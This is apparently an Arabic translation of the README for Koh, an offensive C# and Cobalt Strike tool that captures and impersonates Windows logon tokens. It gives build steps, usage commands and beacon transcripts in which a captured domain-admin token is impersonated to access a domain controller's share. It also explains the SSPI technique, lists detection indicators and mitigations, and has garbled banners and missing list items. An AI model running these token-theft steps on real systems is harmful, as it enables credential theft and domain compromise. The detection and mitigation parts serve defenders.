ghostpack/kohيلتقط رموز جلسات تسجيل الدخول في ويندوز عبر تسريب الرموز لتمكين إعادة استخدام بيانات الاعتماد وانتحال الهوية، مع تكامل Cobalt Strike BOF لسرقة الرموز بعد الاستغلال.
Koh هي مجموعة أدوات مكتوبة بلغة C# وملف كائن المنارة (BOF) تسمح بالتقاط مواد بيانات اعتماد المستخدم من خلال تسريب متعمد للرموز/جلسات تسجيل الدخول.
بعض الكود مستوحى من مشروع Elad Shamir Internal-Monologue (بدون ترخيص)، بالإضافة إلى KB180548. لمعرفة سبب إمكانية ذلك ونهج Koh، راجع قسم الخلفية التقنية من هذا الملف.
للحصول على شرح أعمق للدوافع وراء Koh ونهجها، راجع منشور Koh: The Token Stealer.
@harmj0y هو المؤلف الرئيسي لقاعدة الكود هذه. ساعد @tifkin_ في النهج وتنفيذ BOF وبعض آليات الرموز.
Koh مرخصة بموجب ترخيص BSD 3-Clause.
"خادم" Koh يلتقط الرموز ويستخدم الأنابيب المسماة للتحكم/الاتصال. يمكن تغليف ذلك في Donut وحقنه في أي عملية عالية التكامل SYSTEM (راجع خلل Inline Shenanigans).
نحن لا نخطط لإصدار ملفات ثنائية لـ Koh، لذلك سيتعين عليك التجميع بنفسك :)
تم بناء Koh على .NET 4.7.2 وهو متوافق مع Visual Studio 2019 Community Edition. ما عليك سوى فتح ملف المشروع .sln، واختيار "Release"، والبناء. سيتم إخراج التجميعة Koh.exe وملف Koh.bin Donut-built PIC إلى الدليل الرئيسي. كتلة Donut متوافقة مع كل من x86/x64، وتم بناؤها باستخدام الخيارات التالية باستخدام الإصدار v0.9.3 من Donut الموجود في ./Misc/Donut.exe:```
[ Instance type : Embedded
[ Entropy : Random names + Encryption
[ Compressed : Xpress Huffman
[ File type : .NET EXE
[ Parameters : capture
[ Target CPU : x86+amd64
[ AMSI/WDLP : abort
ترخيص Donut هو BSD 3-clause.
### الاستخدام
`Koh.exe <list | monitor | capture> [GroupSID... GroupSID2 ...]`
* **list** - يعرض جلسات تسجيل الدخول (غير الشبكية)
* **monitor** - يراقب جلسات تسجيل الدخول الجديدة/الفريدة (غير الشبكية)
* **capture** - يلتقط رمزًا فريدًا واحدًا لكل SID يتم العثور عليه لجلسات تسجيل الدخول الجديدة (غير الشبكية)
يمكن أيضًا توفير Group SIDs من سطر الأوامر، مما يؤدي إلى مراقبة/التقاط جلسات تسجيل الدخول التي تحتوي فقط على Group SIDs المحددة في معلومات الرمز المتفاوض عليها.
### مثال - عرض جلسات تسجيل الدخول```
C:\Temp>Koh.exe list
__ ___ ______ __ __
| |/ / / __ \ | | | |
| ' / | | | | | |__| |
| < | | | | | __ |
| . \ | `--' | | | | |
|__|\__\ \______/ |__| |__|
v1.0.0
[*] Command: list
[*] Elevated to SYSTEM
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\testuser
LUID : 207990196
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1119
Origin LUID : 1677733 (0x1999a5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\DA
LUID : 81492692
LogonType : Interactive
AuthPackage : Negotiate
User SID : S-1-5-21-937929760-3187473010-80948926-1145
Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\DA
LUID : 81492608
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1145
Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:51:46 PM
UserName : THESHIRE\harmj0y
LUID : 1677733
LogonType : Interactive
AuthPackage : Kerberos
User SID : S-1-5-21-937929760-3187473010-80948926-1104
Origin LUID : 999 (0x3e7)
يسرد فقط النتائج التي تحتوي على SID مجموعة مسؤولي المجال (-512) في معلومات رمزها المميز:``` C:\Temp>Koh.exe monitor S-1-5-21-937929760-3187473010-80948926-512
| |/ / / __ \ | | | | | ' / | | | | | || | | < | | | | | __ | | . \ | `--' | | | | | ||__\ __/ || || v1.0.0
[*] Command: monitor
[*] Starting server with named pipe: imposecost
[*] Elevated to SYSTEM
[*] Targeting group SIDs: S-1-5-21-937929760-3187473010-80948926-512
[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\DA LUID : 81492692 LogonType : Interactive AuthPackage : Negotiate User SID : S-1-5-21-937929760-3187473010-80948926-1145 Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\DA LUID : 81492608 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1145 Origin LUID : 1677765 (0x1999c5)
[*] New Logon Session - 6/22/2022 2:52:17 PM UserName : THESHIRE\harmj0y LUID : 1677733 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1104 Origin LUID : 999 (0x3e7)
## Koh Client
العميل القابل للاستخدام حالياً هو ملف كائن منارة (Beacon Object File) في `.\Clients\BOF\`. قم بتحميل سكريبت العدوان `.\Clients\BOF\KohClient.cna` في عميل Cobalt Strike الخاص بك لتمكين التحكم BOF في خادم Koh. الشرط الوحيد لاستخدام الرموز الملتقطة هو **SeImpersonatePrivilege**. أنبوب الاتصال المسمى يحتوي على DACL "للجميع" ولكنه يستخدم كلمة مرور مشتركة أساسية (آمنة جداً).
لتجميع جديد على Linux باستخدام Mingw، راجع سكريبت `.\Clients\BOF\build.sh`. الشرط الوحيد (على Debian على الأقل) يجب أن يكون `apt-get install gcc-mingw-w64`.
### الاستخدام```
beacon> help koh
koh list - lists captured tokens
koh groups LUID - lists the group SIDs for a captured token
koh filter list - lists the group SIDs used for capture filtering
koh filter add SID - adds a group SID for capture filtering
koh filter remove SID - removes a group SID from capture filtering
koh filter reset - resets the SID group capture filter
koh impersonate LUID - impersonates the captured token with the give LUID
koh release all - releases all captured tokens
koh release LUID - releases the captured token for the specified LUID
koh exit - signals the Koh server to exit
أمر koh filter add S-1-5-21-<DOMAIN>-<RID> سيلتقط فقط الرموز التي تحتوي على SID المجموعة المقدمة. يمكن تشغيل هذا الأمر عدة مرات لإضافة SIDs إضافية للالتقاط. يمكن أن يساعد ذلك في منع مشكلات الاستقرار المحتملة بسبب عدد كبير من تسريبات الرموز.
"يلتقط" جلسات تسجيل الدخول عن طريق التفاوض على رموز قابلة للاستخدام لكل جلسة جديدة.``` C:\Temp>Koh.exe capture
| |/ / / __ \ | | | | | ' / | | | | | || | | < | | | | | __ | | . \ | `--' | | | | | ||__\ __/ || || v1.0.0
[*] Command: capture
[*] Starting server with named pipe: imposecost
[*] Elevated to SYSTEM
[*] New Logon Session - 6/22/2022 2:53:01 PM UserName : THESHIRE\testuser LUID : 207990196 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1119 Credential UserName : [email protected] Origin LUID : 1677733 (0x1999a5)
[*] Successfully negotiated a token for LUID 207990196 (hToken: 848)
[*] New Logon Session - 6/22/2022 2:53:01 PM UserName : THESHIRE\DA LUID : 81492692 LogonType : Interactive AuthPackage : Negotiate User SID : S-1-5-21-937929760-3187473010-80948926-1145 Credential UserName : [email protected] Origin LUID : 1677765 (0x1999c5)
[*] Successfully negotiated a token for LUID 81492692 (hToken: 976)
[*] New Logon Session - 6/22/2022 2:53:01 PM UserName : THESHIRE\harmj0y LUID : 1677733 LogonType : Interactive AuthPackage : Kerberos User SID : S-1-5-21-937929760-3187473010-80948926-1104 Credential UserName : [email protected] Origin LUID : 999 (0x3e7)
[*] Successfully negotiated a token for LUID 1677733 (hToken: 980)
عميل BOF:```
beacon> shell dir \\dc.theshire.local\C$
[*] Tasked beacon to run: dir \\dc.theshire.local\C$
[+] host called home, sent: 69 bytes
[+] received output:
Access is denied.
beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 20 bytes
[*] You are NT AUTHORITY\SYSTEM (admin)
beacon> koh list
[+] host called home, sent: 6548 bytes
[+] received output:
[*] Using KohPipe : \\.\pipe\imposecost
[+] received output:
Username : THESHIRE\localadmin (S-1-5-21-937929760-3187473010-80948926-1000)
LUID : 67556826
CaptureTime : 6/21/2022 1:24:42 PM
LogonType : Interactive
AuthPackage : Negotiate
CredUserName : [email protected]
Origin LUID : 1676720
Username : THESHIRE\da (S-1-5-21-937929760-3187473010-80948926-1145)
LUID : 67568439
CaptureTime : 6/21/2022 1:24:50 PM
LogonType : Interactive
AuthPackage : Negotiate
CredUserName : [email protected]
Origin LUID : 1677765
Username : THESHIRE\harmj0y (S-1-5-21-937929760-3187473010-80948926-1104)
LUID : 1677733
CaptureTime : 6/21/2022 1:23:10 PM
LogonType : Interactive
AuthPackage : Kerberos
CredUserName : [email protected]
Origin LUID : 999
beacon> koh groups 67568439
[+] host called home, sent: 6548 bytes
[+] received output:
[*] Using KohPipe : \\.\pipe\imposecost
[+] received output:
S-1-5-21-937929760-3187473010-80948926-513
S-1-5-21-937929760-3187473010-80948926-512
S-1-5-21-937929760-3187473010-80948926-525
S-1-5-21-937929760-3187473010-80948926-572
beacon> koh impersonate 67568439
[+] host called home, sent: 6548 bytes
[+] received output:
[*] Using KohPipe : \\.\pipe\imposecost
[+] received output:
[*] Enabled SeImpersonatePrivilege
[+] received output:
[*] Creating impersonation named pipe: \\.\pipe\imposingcost
[+] received output:
[*] Impersonation succeeded. Duplicating token.
[+] received output:
[*] Impersonated token successfully duplicated.
[+] Impersonated THESHIRE\da
beacon> getuid
[*] Tasked beacon to get userid
[+] host called home, sent: 20 bytes
[*] You are THESHIRE\DA (admin)
beacon> shell dir \\dc.theshire.local\C$
[*] Tasked beacon to run: dir \\dc.theshire.local\C$
[+] host called home, sent: 69 bytes
[+] received output:
Volume in drive \\dc.theshire.local\C$ has no label.
Volume Serial Number is A4FF-7240
Directory of \\dc.theshire.local\C$
01/04/2021 11:43 AM <DIR> inetpub
05/30/2019 03:08 PM <DIR> PerfLogs
05/18/2022 01:27 PM <DIR> Program Files
04/15/2021 09:44 AM <DIR> Program Files (x86)
03/20/2020 12:28 PM <DIR> RBFG
10/20/2021 01:14 PM <DIR> Temp
05/23/2022 06:30 PM <DIR> tools
03/11/2022 04:10 PM <DIR> Users
06/21/2022 01:30 PM <DIR> Windows
0 File(s) 0 bytes
9 Dir(s) 40,504,201,216 bytes free
عند بدء جلسة تسجيل دخول جديدة على النظام، يتم إنشاء رمز جديد لجلسة تسجيل الدخول بواسطة LSASS باستخدام استدعاء API NtCreateToken() ويتم إعادته بواسطة المتصل بـ LsaLogonUser(). يؤدي هذا إلى زيادة حقل ReferenceCount في بنية جلسة تسجيل الدخول في النواة. عندما يصل هذا ReferenceCount إلى 0، يتم تدمير جلسة تسجيل الدخول. بسبب المعلومات الموصوفة في قسم لماذا هذا ممكن، فإن أنظمة Windows لن تحرر جلسة تسجيل الدخول إذا كان هناك مقبض رمز لا يزال موجودًا لها (وبالتالي فإن عدد المرجع != 0).
لذا إذا تمكنا من الحصول على مقبض لجلسة تسجيل دخول تم إنشاؤها حديثًا عبر رمز، فيمكننا إبقاء جلسة تسجيل الدخول تلك مفتوحة ثم انتحال هذا الرمز لاحقًا لاستخدام أي بيانات اعتماد مخزنة مؤقتًا يحتويها.
وفقًا لهذا المنشور من مهندس مايكروسوفت:``` After MS16-111, when security tokens are leaked, the logon sessions associated with those security tokens also remain on the system until all associated tokens are closed... even after the user has logged off the system. If the tokens associated with a given logon session are never released, then the system now also has a permanent logon session leak as well.
[MS16-111](https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-111) تم تطبيقه على Windows 7/Server 2008 وما قبله، لذلك يجب أن يكون هذا النهج فعالًا لكل شيء باستثناء أنظمة Server 2003.
## النهج
تعداد جلسات تسجيل الدخول سهل (من سياق مرتفع) من خلال استخدام واجهة برمجة تطبيقات Win32 [LsaEnumerateLogonSessions()](https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaenumeratelogonsessions). الأصعب هو أخذ معرف جلسة تسجيل دخول محدد (LUID) و _بطريقة ما_ الحصول على رمز مميز قابل للاستخدام مرتبط بتلك الجلسة.
### النهج المحتملة
قمنا بعصف ذهني لعدة طرق لـ أ) إبقاء جلسات تسجيل الدخول مفتوحة و ب) إساءة استخدام هذا لانتحال الرمز المميز/استخدام بيانات الاعتماد المخزنة مؤقتًا.
1. كان النهج الأول هو استخدام **NtCreateToken()** الذي يسمح لك بتحديد معرف جلسة تسجيل الدخول (LUID) لإنشاء رمز مميز جديد.
* للأسف، تحتاج إلى **SeCreateTokenPrivilege** الذي يُحتفظ به تقليديًا فقط بواسطة LSASS، مما يعني أنك بحاجة إلى سرقة رمز LSASS المميز وهو ليس مثاليًا.
* كان الاحتمال الواحد إضافة **SeCreateTokenPrivilege** إلى NT AUTHORITY\SYSTEM عبر تعديل سياسة LSA، لكن هذا سيحتاج إلى إعادة تشغيل/جلسة تسجيل دخول جديدة لإظهار صلاحيات المستخدم الجديدة.
2. يمكنك أيضًا التركيز فقط على جلسات تسجيل الدخول التفاعلية عن بعد باستخدام **WTSQueryUserToken()** للحصول على رموز مميزة لجلسات سطح مكتب جديدة لاستنساخها.
* هذا هو النهج الذي [عرضه Ryan](https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/using-debugging-tools-to-find-token-and-session-leaks/ba-p/400472) على ما يبدو.
* للأسف، هذا يفتقد جلسات تسجيل الدخول المحلية المنشأة حديثًا والجلسات الواردة التي تم إنشاؤها من أشياء مثل PSEXEC.
3. في جلسة تسجيل دخول جديدة، افتح مقبضًا لكل عملية يمكن الوصول إليها وقم بتعداد جميع المقابض الموجودة، مع استنساخ الرمز المميز المرتبط بجلسة تسجيل الدخول الجديدة.
* يتطلب هذا فتح الكثير من العمليات/المقابض، مما يبدو مشبوهًا جدًا.
4. النهج **AcquireCredentialsHandle()**/**InitializeSecurityContext()**/**AcceptSecurityContext()** الموضح أدناه، وهو ما اخترناه.
### نهجنا
استدعاء SSPI [AcquireCredentialsHandle()](https://docs.microsoft.com/en-us/windows/win32/secauthn/acquirecredentialshandle--negotiate) يحتوي على حقل **pvLogonID** ينص على:```
A pointer to a locally unique identifier (LUID) that identifies the user. This parameter is provided for file-system processes such as network redirectors.
ملاحظة: لاستخدام LUID لجلسة تسجيل الدخول مع AcquireCredentialsHandle() تحتاج إلى SeTcbPrivilege، ومع ذلك فإن الحصول على هذا عادةً أسهل من SeCreateTokenPrivilege.
استخدام هذه الاستدعاء مع تحديد معرف/ LUID لجلسة تسجيل الدخول يبدو أنه يزيد من عدد المراجع (ReferenceCount) لهيكل جلسة تسجيل الدخول، مما يمنع تحريرها. ومع ذلك، نواجه مشكلة أخرى: إذا كانت لدينا جلسة تسجيل دخول "مسربة"/مفتوحة، كيف يمكننا الحصول على رمز مميز قابل للاستخدام منها؟ WTSQueryUserToken() يعمل فقط مع جلسات سطح المكتب، ولا توجد واجهة برمجة تطبيقات في وضع المستخدم (userland) وجدناها تسمح لك بربط LUID برمز مميز قابل للاستخدام.
ومع ذلك يمكننا استخدام دالتي SSPI إضافيتين، InitializeSecurityContext() و AcceptSecurityContext() للعمل كعميل وخادم لأنفسنا، والتفاوض حول سياق أمني جديد يمكننا استخدامه بعد ذلك مع QuerySecurityContextToken() للحصول على رمز مميز قابل للاستخدام. تم توثيق ذلك في KB180548 (منسوخ بواسطة PKISolutions هنا) لأغراض التحقق من صحة بيانات الاعتماد. هذا نهج مشابه لـ Internal-Monologue، باستثناء أننا نكمل عملية المصافحة بأكملها، وننتج رمزًا مميزًا، ثم نحتفظ به للاستخدام لاحقًا.
يمكن بعد ذلك إجراء التصفية على الرمز المميز نفسه، عبر CheckTokenMembership() أو GetTokenInformation(). على سبيل المثال، يمكننا تحرير أي رموز مميزة باستثناء تلك التي تنتمي إلى مسؤولي المجال، أو مجموعات محددة نريد استهدافها.
لقد كنت أبرمج لفترة لا بأس بها من الوقت. هذا أحد أغرب وأكثر الأخطاء إحباطًا في التتبع التي واجهتها منذ فترة - الرجاء مساعدتي في هذا الأمر lol.
عندما يتم تشغيل تجميع Koh.exe من سياق مرتفع (ولكن ليس SYSTEM)، يعمل كل شيء بشكل صحيح.
إذا تم تشغيل تجميع Koh.exe عبر عملية fork&run في Beacon الخاصة بـ Cobalt Strike مع execute-assembly من سياق مرتفع (ولكن ليس SYSTEM)، يعمل كل شيء بشكل صحيح.
إذا تم تشغيل تجميع Koh.exe بشكل مضمن (عبر InlineExecute-Assembly أو Inject-Assembly) لـ Cobalt Strike Beacon يعمل في سياق SYSTEM، يعمل كل شيء بشكل صحيح.
ومع ذلك إذا تم تشغيل تجميع Koh.exe بشكل مضمن (عبر InlineExecute-Assembly أو Inject-Assembly) لـ Cobalt Strike Beacon يعمل في سياق مرتفع، ولكن ليس SYSTEM، فإن استدعاء AcquireCredentialsHandle() يفشل مع SEC_E_NO_CREDENTIALS ويفشل كل شيء ¯\_(ツ)_/¯
لقد جربنا (بدون نجاح):
لجميع المقاصد والأغراض، يعمل سياق مؤشر الترابط قبل استدعاء AcquireCredentialsHandle مباشرة في هذا السياق، لكن النتيجة تظهر خطأ. وليس لدينا أي فكرة عن السبب.
إذا كانت لديك فكرة عما قد يكون هذا، فالرجاء إخبارنا! وإذا كنت ترغب في تجربة اللعب بتجميع أبسط، تحقق من مستودع AcquireCredentialsHandle على GitHub الخاص بي لاستكشاف الأخطاء وإصلاحها.
لنقتبس @tifkin_ "كل شيء خفي حتى يبحث عنه شخص ما." على الرغم من أن نهج كوه يختلف قليلاً عن الآخرين، إلا أنه لا تزال هناك مؤشرات اختراق (IOCs) يمكن استخدامها للكشف عنه.
معرف GUID الفريد لـ TypeLib لمجمع C# Koh هو 4d5350c8-7f8c-47cf-8cde-c752018af17e كما هو مفصل في قاعدة Yara Koh.yar في هذا المستودع. إذا لم يتم تغيير ذلك أثناء التجميع، فيجب أن يكون مؤشرًا عالي الدقة لخادم Koh.
عند بدء تشغيل خادم Koh، يفتح أنبوبًا مسمى (named pipe) يسمى \\.\pipe\imposecost يظل مفتوحًا طالما كان Koh قيد التشغيل. كلمة المرور الافتراضية المستخدمة لاتصالات Koh هي password، لذا فإن إرسال password list إلى أي أنبوب \\.\pipe\imposecost سيسمح لك بتأكيد ما إذا كان Koh قيد التشغيل بالفعل. الأنبوب الافتراضي للانتحال المستخدم هو \\.pipe\imposingcost.
إذا بدأ Koh في سياق مرتفع ولكن ليس كـ SYSTEM، يتم إجراء استنساخ للمقبض/الرمز المميز لـ winlogon لأداء رفع مستوى من نوع getsystem.
أنا متأكد من أنه لن يقوم أي مهاجم بتغيير المؤشرات المذكورة أعلاه.
من المحتمل وجود بعض الآثار (artifacts) من RPC لالتقاط الرمز المميز نأمل في التحقيق فيها. سنقوم بتحديث هذا القسم من ملف README إذا وجدنا أي آثار كشف إضافية في هذا السياق. يمكن استكشاف ربط (hooking) بعض واجهات برمجة التطبيقات غير الشائعة المحتملة التي يستخدمها Koh (LsaEnumerateLogonSessions أو تحديدًا AcquireCredentialsHandle/InitializeSecurityContext/AcceptSecurityContext، خاصة باستخدام LUID في AcquireCredentialsHandle) لفعاليتها، ولكن للأسف، لست EDR.
بعد نشر مقال Koh: The Token Stealer، كان لدي تبادل رائع بين @cnotin و @SteveSyfuhs حول ما انتهى به الأمر ليكون تخفيفًا جزئيًا لهذا النهج.
قدم تصحيح KB2871997 إعداد TokenLeakDetectDelaySecs، الذي يؤدي إلى "...مسح أي بيانات اعتماد للمستخدمين الذين سجلوا الخروج...". في الواقع، يتم فرض هذا السلوك لأعضاء "مجموعة المستخدمين المحميين" (Protected Users Security Group) بغض النظر عن إعداد التسجيل. ومع ذلك، فإن تعيين هذا إلى قيمة غير صفرية سيمسح جميع بيانات الاعتماد من الذاكرة عندما يسجل المستخدم الخروج. على وجه التحديد، كما يذكر Steve: إذا تم تعيينه، فسيبدأ مؤقتًا عند حدث تسجيل خروج *تفاعلي* للجلسة، وعند التشغيل سينظف أي شيء لا يزال مرتبطًا به. معطل افتراضيًا. المستخدمون المحميون دائمًا قيد التشغيل، مع افتراضي 30 ثانية.
هناك أمران مهمان يجب ملاحظتهما في الفقرة أعلاه: "حدث تسجيل الخروج" و "تفاعلي". يمكن أن يؤدي هذا إلى بعض الحالات التي لا يتم فيها مسح بيانات اعتماد المستخدم:
runas أو runas /netonly أو شيء مشابه، فلا يوجد حدث تسجيل خروج عند توقف العملية ويمكن الاستمرار في التقاط بيانات الاعتماد/الرمز المميز.(أحتاج إلى اختبار حالات تسجيل دخول أخرى مثل NetworkClearText.)
ومع ذلك، إذا كان المستخدم في "مجموعة المستخدمين المحميين" أو كانت TokenLeakDetectDelaySecs غير صفرية، وسجل المستخدم الخروج بنشاط من جلسة تفاعلية أو تفاعلية عن بعد (RDP)، فسيتم مسح بيانات الاعتماد. أحتاج إلى برمجة Koh للتعامل بشكل أفضل مع هذه الأنواع المحددة من المواقف.
خلاصة القول: يجب حقًا استخدام "مجموعة المستخدمين المحميين" للمستخدمين الحساسين، ومعرفة ما إذا كان تعيين TokenLeakDetectDelaySecs إلى قيمة مثل 30 ممكنًا في بيئتك.